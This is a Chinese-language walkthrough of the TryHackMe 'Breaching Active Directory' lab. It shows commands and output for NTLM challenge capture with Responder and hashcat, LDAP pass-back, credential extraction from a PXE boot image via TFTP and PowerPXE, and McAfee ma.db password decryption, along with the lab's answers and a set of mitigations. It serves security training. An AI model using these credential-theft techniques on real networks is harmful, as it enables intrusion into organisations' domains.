Post Compromise - 0502 Breaching Active Directory | TryHackMe
https://tryhackme.com/room/breachingad
Task 1 Introduction to AD Breaches
kali 网络配置
通过 openvpn 接入内网:
┌──(kali㉿kali)-[~/thm]
└─$ sudo openvpn breachingad.ovpn
Fri Mar 11 15:06:20 2022 OpenVPN 2.4.9 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Apr 19 2020
Fri Mar 11 15:06:20 2022 library versions: OpenSSL 1.1.1g FIPS 21 Apr 2020, LZO 2.08
[....]
Fri Mar 11 15:06:22 2022 /sbin/ip link set dev tun0 up mtu 1500
Fri Mar 11 15:06:22 2022 /sbin/ip addr add dev tun0 10.50.2.3/24 broadcast 10.50.2.255
Fri Mar 11 15:06:22 2022 /sbin/ip route add 10.200.4.0/24 metric 1000 via 10.50.2.1
Fri Mar 11 15:06:22 2022 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
Fri Mar 11 15:06:22 2022 Initialization Sequence Completed
修改 DNS 设置:sudo nano /etc/resolv.conf
将第一条 DNS 设置为:nameserver 10.200.80.101
检测 DNS 设置是否生效:
┌──(kali㉿kali)-[~/thm/breachingad]
└─$ nslookup thmdc.za.tryhackme.com
Server: 10.200.80.101
Address: 10.200.80.101#53
Name: thmdc.za.tryhackme.com
Address: 10.200.80.101
Task 2 OSINT 和 Phishing
目前获取域内第一个立足点的主流方法就是开源情报和网络钓鱼,以下是对二者的简述。
开源情报(OSINT)
开源情报主要用于发现已经公开披露的信息。在涉及 AD 凭据时,发生这种情况的原因有很多种,例如:
- 用户在公开论坛如 Stack Overflow 上提问,但在问题中披露了敏感信息,如他们的凭据。
- 开发人员上传了带有硬编码凭据的脚本到 Github 上。
- 凭据在过去的数据泄露事件中被披露,因为员工使用他们的工作帐户注册其他外部网站。像 HaveIBeenPwned 和 DeHashed 这样的网站提供了出色的平台,用于确定某人的信息(如工作电子邮件)是否曾涉及公开的数据泄露事件。
钓鱼(Phishing)
网络钓鱼是另一种破坏 AD 的绝佳方法。网络钓鱼通常会诱使用户在恶意网页上提供凭据,或要求他们运行特定的应用程序,该应用程序会在后台安装远程访问木马 (Remote Access Trojan,RAT)。这是一种常见的方法,因为 RAT 会以用户的权限执行,也就使我们直接获取到了一个 AD 帐户。这就是为什么网络钓鱼对于红队和蓝队来说都是一个大话题。
Question: What popular website can be used to verify if your email address or password has ever been exposed in a publicly disclosed data breach?
Answer: HaveIBeenPwned
Task 3 NTLM 身份验证服务
NTLM 和 NetNTLM
NTLM 是用于在 Windows AD 域中验证用户身份的一组安全协议。NTLM 可以通过一种称为 NetNTLM 的质询-响应方案进行身份验证。这种身份验证机制在网络上的服务中被广泛使用。然而,使用 NetNTLM 的服务也可能面临互联网的风险,以下是一些常见的示例:
- 暴露 Outlook Web App (OWA) 登录口的内网 Exchange 邮服
- 暴露在互联网上的服务器的 RDP 服务
- 与 AD 域结合的公开的 VPN 节点
- 面向互联网并使用 NetNTLM 的 Web 应用程序
NetNTLM,通常也称为 Windows 身份验证或 NTLM 身份验证,它允许应用程序扮演客户端和 AD 之间的中间人。所有身份验证材料都以质询的形式转发到域控制器,如果成功完成,应用程序将对用户进行身份验证。
这意味着应用程序是在代表用户进行身份验证,而不是直接在应用程序本身来对用户进行身份验证。这可以防止应用程序存储 AD 凭据,该凭据应仅存于域控中。这个过程如下图所示:
Question: What is the name of the challenge-response authentication mechanism that uses NTLM?
Answer: NetNTLM
Question: What is the username of the third valid credential pair found by the password spraying script?
Answer: gordon.stevens
Question: How many valid credentials pairs were found by the password spraying script?
Answer: 4
Question: What is the message displayed by the web application when authenticating with a valid credential pair?
Answer: Hello World
Task 4 LDAP 绑定凭据
LDAP
应用程序可以使用的另一种域内身份验证方法是 LDAP (轻量级目录访问协议) 身份验证。 LDAP 身份验证与 NTLM 身份验证类似。但是,通过 LDAP 身份验证,应用程序可以直接验证用户的凭据。应用程序有一组域内凭据,可以先使用它们来查询 LDAP,然后验证域用户的凭据。
LDAP 身份验证是与域集成的第三方(非 Microsoft)应用程序中常见的机制。这些应用程序和系统包括:
- Gitlab
- Jenkins
- 定制的 Web 应用程序
- 打印机
- VPN
如果这些应用程序或服务中的任何一个暴露在公网上,则可以使用与针对 NTLM 身份验证系统的攻击类似的方法。然而,由于使用 LDAP 身份验证的服务需要一组 AD 凭据,因此它开辟了额外的攻击途径。本质上,我们可以尝试还原出服务使用的 AD 凭据,以获得对 AD 域的已认证访问。通过 LDAP 进行认证的流程如下所示:
如果可以在正确的主机上建立立足点(例如 Gitlab 服务器),那么只需阅读配置文件就可能很容易地拿到一些域用户凭据。这些凭据通常以纯文本形式存储在配置文件中,因为安全模型主要保证配置文件的存储位置和存储的安全而不是其内容的安全。
注:原文中 "keeping the location" 意指保持配置文件的存储位置,确保配置文件的物理位置是安全的,不能轻易访问或篡改。这是为了维护其安全性,因为配置文件中可能包含敏感信息,如凭据或其他重要配置参数。所谓 "keeping the location secure" 意味着确保只有授权的人员能够访问和修改配置文件的存储位置,以防止潜在的安全威胁。
LDAP Pass-back Attacks
然而,还可以对 LDAP 身份验证机制执行另一种非常有趣的攻击,称为 LDAP Pass-back Attacks(LDAP 回传攻击)。当获得对内部网络的初始访问权限(例如在会议室中插入恶意设备)时,这是针对网络设备(例如打印机)的常见攻击手法。
当我们访问指定 LDAP 参数的设备配置时,可以执行 LDAP 回传攻击。它可以是网络打印机的 Web 界面。通常,这些接口的凭据保留为默认凭据,例如 admin:admin
或 admin:password
。在这里,我们无法直接提取 LDAP 凭据,因为密码通常是隐藏的。但是,我们可以更改 LDAP 配置,例如 LDAP 服务器的 IP 或主机名。在 LDAP 回传攻击中,我们可以将此 IP 修改为我们攻击机的 IP,然后测试 LDAP 配置,这将强制设备尝试对我们的恶意设备进行 LDAP 身份验证,我们就可以拦截到这个身份验证请求并捕获到 LDAP 凭据。
Question: What type of attack can be performed against LDAP Authentication systems not commonly found against Windows Authentication systems?
Answer: LDAP Pass-back Attacks
Question: What two authentication mechanisms do we allow on our rogue LDAP server to downgrade the authentication and make it clear text?
Answer: login,plain
Question: What is the password associated with the svcLDAP account?
Answer: tryhackmeldappass1@
Task 5 身份验证中间人攻击
SMB
Server Message Block(SMB)协议允许客户端(如工作站)与服务器(如文件共享服务器)进行通信。在 AD 域中,SMB 协议控制从网络文件共享到远程管理的各种操作,包括你在尝试打印文件时电脑收到的“缺纸”警告也是 SMB 协议的作用。
然而,早期版本的 SMB 协议存在安全性不足的问题。发现了多个漏洞和攻击方法,可以用来获取凭证或在设备上执行代码。尽管某些漏洞在协议的更新版本中得到解决,但许多组织通常不强制使用较新的版本,因为旧系统不支持它们。下面是使用 SMB 进行 NetNTLM 身份验证的两种攻击方式:
- 由于 NTLM Challenges 可以被拦截,可以使用离线破解技术来恢复与 NTLM Challenges 相关的密码,但是这种破解过程明显比直接破解 NTLM hash 要慢。
- 可以利用恶意设备进行中间人攻击,中继客户端和服务器之间的 SMB 身份验证,从而提供一个可用的通过了身份验证的会话,使得可以访问目标服务器。
Challenge 在这里是质询的意思,名词。
拦截 NetNTLM Challenge
使用 Responder
拦截 NetNTLM Challenge:
sudo responder -I tun0 -v
Responder
配置路径:/etc/responder/Responder.conf
Responder
捕获到 NTLMv2-SSP 内容之后将其中的 hash 值保存,使用 hashcat
进行解密:
hashcat -m 5600 <hash file> <password file> --force
Question: What is the name of the tool we can use to poison and capture authentication requests on the network?
Answer: Responder
Question: What is the username associated with the challenge that was captured?
Answer: SVCFILECOPY
Question: What is the value of the cracked password associated with the challenge that was captured?
Answer: FPassword1!
Task 6 Microsoft Deployment Toolkit
MDT 和 SCCM
MDT(Microsoft Deployment Toolkit)是微软的一个服务,用于自动化部署微软的操作系统(也就是 Windows)。大型组织通常会使用诸如 MDT 之类的服务来帮助更有效地在其资产中部署新镜像,因为基础镜像可以在一个中心位置来统一维护和更新。
通常情况下,MDT 与微软的 System Center Configuration Manager(SCCM)集成,SCCM 用于管理所有微软应用程序、服务和操作系统的更新。MDT 用于新的系统部署。从本质上讲,它允许 IT 团队对引导镜像进行预配置和管理。因此,如果他们需要配置新的计算机,只需插入网线,一切都会自动完成。他们可以对引导镜像进行各种更改,例如已安装默认软件,如 Office365 和组织选择的防病毒软件。它还可以确保在首次安装运行时更新到新版本。
SCCM 可以被看作是 MDT 的扩展和老大哥。安装完成后,软件如何管理?嗯,SCCM 就是做这类补丁管理工作的。它允许 IT 团队查看在整个环境中安装的所有软件的可用更新。团队还可以在沙箱环境中测试这些补丁,以确保它们在集中部署到所有加入域的机器之前是稳定可用的,这明显简化了 IT 团队的工作。
然而,像 MDT 和 SCCM 这样提供基础架构的中央管理的任何东西也可能成为攻击者的目标,他们试图接管环境中的关键功能的大部分部分。尽管MDT可以以各种方式进行配置,但在这个任务中,我们将专注于一种称为预引导执行环境(PXE)引导的配置。
然而,任何提供基础设施集中管理的东西(例如 MDT 和 SCCM)也可能成为攻击者的目标,从而试图接管该资产中的大部分关键功能。
PXE Boot
大型组织使用 PXE 引导来允许连接到网络的新设备直接通过网络连接直接加载和安装操作系统。 MDT 可用于创建、管理和托管 PXE 引导镜像。 PXE 引导通常与 DHCP 集成,这意味着如果 DHCP 分配 IP 租约,则允许主机请求 PXE 引导镜像并启动网络操作系统安装过程。通信流程如下图所示:
一旦这个过程完成,客户端将使用 TFTP 连接下载 PXE 引导镜像。我们可以利用 PXE 引导镜像用于两个不同的目的:
- 注入权限提升向量(如本地管理员帐户),以在 PXE 引导完成后获得对操作系统的管理员访问权限。
- 执行密码抓取攻击,以还原出在安装过程中使用到的 AD 凭据。
PXE Boot Image Retrieval
BCD 文件在本实验中位于 MDT 服务器上的 \Tmp\
目录中,在 SSH 会话中使用以下命令启动 TFTP 传输来下载 BCD 文件:
C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s
现在 BCD 文件已获取,接下来将利用 powerpxe 来读取其内容。使用 powerpxe 的 Get-WimFile
函数从 BCD 文件中还原出 PXE 引导映像的位置:
thm@THMJMP1 C:\Users\thm\Documents>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\thm\Documents> cd .\alan\
Directory: C:\Users\thm\Documents\alan
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/3/2022 8:54 PM 1098 LICENSE
-a---- 3/3/2022 8:54 PM 98573 PowerPXE.ps1
-a---- 3/3/2022 8:54 PM 2144 README.md
PS C:\Users\thm\Documents\alan> Import-Module .\PowerPXE.ps1
PS C:\Users\thm\Documents\alan> $BCDFile = "conf.bcd"
PS C:\Users\thm\Documents\alan> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim
WIM 文件是 Windows 镜像格式 (WIM) 的可引导镜像,使用 TFTP 下载 PXE 引导镜像:
ps:引导镜像文件较大,下载时间较长需耐心等待
PS C:\Users\THM\Documents\am0> tftp -i <THMMDT IP> GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim
Transfer successful: 341899611 bytes in 218 second(s), 1568346 bytes/s
从一个 PXE Boot Image 文件中恢复凭据
使用 powerpxe 从引导文件中恢复凭据:
PS C:\Users\thm\Documents\alan> ls
Directory: C:\Users\thm\Documents\alan
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/28/2023 4:35 AM 12288 conf.bcd
-a---- 3/3/2022 8:54 PM 1098 LICENSE
-a---- 3/3/2022 8:54 PM 98573 PowerPXE.ps1
-ar--- 10/28/2023 4:38 AM 341899611 pxeboot.wim
-a---- 3/3/2022 8:54 PM 2144 README.md
PS C:\Users\thm\Documents\alan> Get-FindCredentials -WimFile pxeboot.wim
>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@
Question: What Microsoft tool is used to create and host PXE Boot images in organisations?
Answer: Microsoft Deployment Toolkit
Question: What network protocol is used for recovery of files from the MDT server?
Answer: TFTP
Question: What is the username associated with the account that was stored in the PXE Boot image?
Answer: svcMDT
Question: What is the password associated with the account that was stored in the PXE Boot image?
Answer: PXEBootSecure1@
Task 7 配置文件
假设已经成功拿到了一个内网主机,那枚举配置文件就是获取 AD 凭据的绝佳方案。在已入侵的机器上,任何配置文件都具有枚举价值:
- Web 应用程序配置文件
- 服务配置文件
- 注册表键
- 集中部署的应用程序
也可以使用多个枚举脚本(例如 Seatbelt )来自动执行枚举。
配置文件凭据
McAfee 会将安装期间用于连接回 Orchestrator 的凭据存入名为 ma.db
的文件中。可以通过对主机的本地访问来检索和读取该数据库文件,以恢复关联的 AD 服务帐户。
ma.db
文件默认存储位置:
PS C:\ProgramData\McAfee\Agent\DB> ls
Directory: C:\ProgramData\McAfee\Agent\DB
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/5/2022 6:45 PM 120832 ma.db
使用 SCP 将 ma.db
下载到攻击机并在 sqlitebrowser
中打开:
thm@thm:~/thm# scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .
[email protected]'s password:
ma.db 100% 118KB 144.1KB/s 00:00
thm@thm:# sqlitebrowser ma.db
McAfee 的用户名密码存储在 AGENT_REPOSITORIES 表中,重点查看 DOMAIN、AUTH_USER 和 AUTH_PASSWD 字段,其中 AUTH_PASSWD 字段被加密,但是 McAfee 使用已知密钥来加密该字段,因此可以利用脚本快速解密。
McAfee 解密脚本:https://github.com/funoverip/mcafee-sitelist-pwd-decryption
脚本依赖:python3 -m pip install pycryptodome
脚本使用方法:
┌──(kali㉿kali)-[~/thm/breachingad/mcafee-sitelist-pwd-decryption]
└─$ python3 mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Crypted password : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : MyStrongPassword!
Question: What type of files often contain stored credentials on hosts?
Answer: configuration files
Question: What is the name of the McAfee database that stores configuration including credentials used to connect to the orchestrator?
Answer: ma.db
Question: What table in this database stores the credentials of the orchestrator?
Answer: AGENT_REPOSITORIES
Question: What is the username of the AD account associated with the McAfee service?
Answer: svcAV
Question: What is the password of the AD account associated with the McAfee service?
Answer: MyStrongPassword!
Task 8 总结
缓解措施
在缓解措施方面,组织可以采取以下方法:
- 员工意识培训 - 网络安全环节中最脆弱的地方往往是人,要对企业员工进行培训,让他们意识到在涉及泄露凭据等敏感信息时应小心谨慎,并且不要轻信可疑的电子邮件,从而减少这种攻击面。
- 限制 AD 服务和应用程序的公网访问 - 并非所有应用程序都必须从互联网访问,尤其是那些支持 NTLM 和 LDAP 身份验证的应用程序。相反,这些应用程序应该放置在只能通过 VPN 访问的内部网络中,VPN 可以支持多因素身份验证以提供额外的安全性。
- 强制执行网络访问控制(NAC) - NAC 可以防止攻击者连接到网络上的恶意设备,但这需要大量的前期工作,因为合法设备需要被列入白名单。
- 强制执行 SMB 签名 - 通过强制执行 SMB 签名,可以防止 SMB 中继攻击。
- 遵循最小权限原则 - 在大多数情况下,攻击者都有可能会获取到一组 AD 凭据。通过遵循最小权限原则,尤其是对于用于服务的凭据,可以显著减少这些由于凭据被泄露而带来风险。